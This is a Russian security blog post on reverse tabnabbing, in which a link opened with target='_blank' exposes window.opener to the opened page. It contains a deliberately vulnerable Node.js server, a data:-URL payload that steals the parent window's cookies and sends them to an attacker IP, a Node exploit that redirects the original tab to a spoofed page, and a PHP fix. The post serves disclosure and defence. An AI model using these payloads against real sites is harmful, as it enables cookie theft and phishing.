Тег a — это не только ценный мех, но и инициализация window.opener.
В этой статье вас ждет рассказ об одной особенности данного тега и способы решения проблемы.
Вступление
Всё это началось меньше года назад. Я заметил (узнал), что открытие гиперссылки в новом окне инициализирует JavaScript’овский window.opener.
Для справки: window.opener дает доступ к родительскому окну (к фрейму-родителю), т.е к окну, в котором вызвали window.open().
Разумеется, я сразу начал гуглить, но ничего вразумительного не нашел. Всё бы ничего, но если бы не одно «НО»:
Window.opener инициализируется, даже если домены и/или IP-адреса разные.
На днях разбираю почту и вижу, что получил сообщение от команды Яндекса:
Сообщение о баге, точнее о теоретическом применении атаки через window.opener( далее w.o), было оставлено мной около месяца назад, я уже и не надеялся на ответ.
Но мир – странная штука, не так ли? :)
Часть 1
От теории к делу!
Предположим, что мы имеем страницу, в которую можем встроить гиперссылку.
Напишем код, позволяющий воспроизвести нам данную уязвимость.
//Код №1
/*Автор кода просит прощения за все баги, связанные с ним. Код написан под node.js */
var http = require('http');
http.createServer(function (rq, rs) {
var cookie="Super :"+Math.random(-1)*30/13+": Mario"; //при каждом новом запросе, значение куки будет разным
rs.writeHead(200, {'Content-Type': 'text/html',
'Set-Cookie': cookie});
if(!require('url').parse(rq.url).query){ // проверим на наличие входных данных
rs.end('<h2>ERROR!</h2><br>Example: http://127.0.0.1:8080/wo.bug?host=http://google.com/<br>Shutting down :)');
console.log('[DEBUG] URL: '+rq.url+' is not valid!'); // немножко дебага
console.log('Achtung!');
process.kill(process.pid); //чтобы наверняка :)
}
var host=require('url').parse(rq.url, true).query.host, //парсим
host=host.replace(/ /g,'%20'),//Решим проблему с обрезанием пробела
host=host.replace(/</g,'&'+'lt;'), //antiXSS
host=host.replace(/>/g,'&'+'gt;'), //antiXSS
host=host.replace(/javascript:/g,''); //antiXSS
console.log('URL: '+host); //Вывод ссылки в консоль
rs.end('<center><br><a href='+host+' target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); //"безопасный" вывод
}).listen(8080); //запустим сервер на 8080 порту
В данном коде специально пропущена фильтрация протокола data. Через специально сформированную ссылку, и по средствам w.o, мы сможем выполнить XSS атаку.
Для тестов я взял «большую тройку» браузеров: Opera/12.12, FireFox/18.00, Chrome/23.0.1271.97.
FireFox
Итак, передадим в атрибут href, тега a, значение «data:,1»:
После нажатия на гиперссылку видим, что w.o инициализирован:
А это значит, что, возможно, мы имеем возможность получить полный доступ к родительскому окну.
Остается только убедиться в этом.
Используя w.o, мы успешно получили доступ к кукам родительского окна, но вот почему document.cookie=window.opener.document.cookie я не знаю, честно. Замечу, что данная особенность характерна только для FF.
Проверил на VM с XP SP3 и FF 17, такая же картина:
Остается только написать exploit, который будет использовать тег «а», протокол data и w.o, для кражи кук(да и вообще чего угодно).
Payload:
var snif=new Image(), //инициализируем картинку
ck=window.opener.document.cookie, //получаем куки из родительского окна
concat = function() { return Array.prototype.slice.call(arguments).join("")};//объединяем строки без использования знака +, так как знак плюс при GET запросе равносилен пробелу, что приведет к ошибочному синтаксису JavaScript
snif.src=concat('http://192.168.1.4:8081/?cok=',ck); //отсылаем куки (192.168.1.4-локальный IP виртуальной машины)
Передаем это в переменную host(используя протокол data, а именно: data:text/html, <script>Наш payload</script>
).Нажимаем на ссылку и любуемся куками:
А это окно, в которое внедрили наш код:
Как видите, мы успешно смогли украсть куки.
Opera
С браузером Opera почти так же, как и с FireFox. Так что шаги будут те же.
Проверим, инициализируется ли w.o:
Проверим, можем ли мы прочитать куки:
Видим, что мы успешно смогли прочитать куки из предыдущей вкладки(родительского окна).
Остается только эксплуатировать данную уязвимость. Код payload’а будем использовать такой же, как и для FF.
Передаем в переменную host наш exploit и опять любуемся куками:
Окно со ссылкой:
Итак, мы смогли успешно украсть куки. Довольно печальная ситуация, но ведь еще остался Google Chrome.
Chrome
Проверим наличие доступа к w.o:
W.o инициализирован, но Хром не дает нам получить доступ к данным окна-родителя:
Теперь самое время посмотреть на эту уязвимость под другим углом.
А что будет, если и протокол data фильтруется?
Добавим в наш код четвертую фильтрацию, фильтрацию протокола data.
Код примет вид:
/*…*/
host=host.replace(/</g,'&'+'lt;'), //antiXSS
host=host.replace(/>/g,'&'+'gt;'), //antiXSS
host=host.replace(/javascript:/g,''), //antiXSS
host=host.replace(/data:/g,''); //Data не пройдет!
/*…*/
Внеся эту поправку в код, мы больше не сможем провести XSS атаку, но ввести пользователя в заблуждение, переопределив w.o, мы способны.
Часть 2
Теперь передадим, в переменную host, ссылку на сайт evil.com.
FireFox
В FF 18 w.o успешно инициализируется, но мы не имеем возможности проникнуть в предыдущий фрейм(вкладку), так как домены различны и политика безопасности нам это не позволяет.
Opera
Ситуация с этим браузером аналогична ситуации с FireFox.
Chrome
В Хроме доступ к w.o имеется, но политика безопасности режет наши права до минимума.
Атакуем!
FireFox
Переопределение:
Opera
Переопределяем w.o:
Chrome
Переопределяем:
Пишем exploit
Ну а если есть уязвимость, то должен быть и exploit :)
var http = require('http');
if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)}
http.createServer(function (rq, rs) {
rs.writeHead(200, {'Content-Type': 'text/html'}); //всем добра, всем 200
if(!rq.headers.referer){ // если Referer отсутствует
rs.end('');
console.log('Referer is undefined!');
process.exit(1);
}
var host=require('url').parse(rq.headers.referer).hostname; // Извлекаем домен из Referer'а
var out="<html><script>"+
"window.opener.location='http://"+process.argv[2]+":"+process.argv[3]+"/"+host+".html';"+ //переопределяем страницу на поддельную
"window.close()"+ //закрываем окно
"</script></html>";
rs.end(out); //осуществляем подмену
console.log('Window.opener changed!');
process.exit(1);
}).listen(80) // Запускаемся на 80 порту
Этот простенький код позволяет нам подменить сайт во вкладке-родителе.
Оговорюсь, что перенаправление будет идти на адрес: site:port/referer.html. Где «referer» — значение вида site.*
Ввиду того, что снять скриншоты будет проблематично, я записал видео:
Защита
Хорошо, мы рассмотрели примеры нападения, но как же защититься?
Тут есть два способа решения: либо принудительно изменять значение атрибута target, тега а, на “_self”, либо танцевать с бубном, но открывать ссылку в новом окне.Угадайте, каким способом мы пойдем?
Фикс довольно прост: присвоение window.opener значения null.
Напишем простой php код, позволяющий переопределить w.o на null и выполнить переадресацию на указанный ресурс.
<?php
$url=str_replace('data:','',$_GET['href']); //удалим "data:"
$url=htmlspecialchars(str_replace('javascript:','',$url)); //защитимся от XSS
if(!$url){die();};
echo "<html>";
echo "<body>";
echo "<script>";
echo "window.opener=null;"; //переопределяем w.o на null
echo "document.location='".$url."';"; //выполняем перенаправление
echo "</script>";
echo "</body>";
echo "</html>";
?>
Нам остается только применить фикс в нашем коде(1).
Предположим, что наш php файл храниться по адресу: site.com/file.php
Тогда наш код(1) примет вид:
/**/
rs.end('<center><br><a href="http://site.com/file.php?href='+host+'" target="_blank">click-click</a><br>Hey, '+cookie+'! </center>');
/**/
А вот и результат нашего «шаманства»:
Да, это неудобный способ, но только такое решение проблемы я могу предложить на данный момент.
Если у вас есть идеи, то, пожалуйста, оставляйте их в своих комментариях.
Злоключение
Среди ресурсов, уязвимых к данной атаке, я могу выделить
Гугл:
Рамблер:
Список можно продолжать до бесконечности.
И конечно, данная информация представлена только для ознакомления.
Вы не имеете права использовать ее для атак, иначе вас покарает УК РФ!
Have a nice day!
Автор: fil9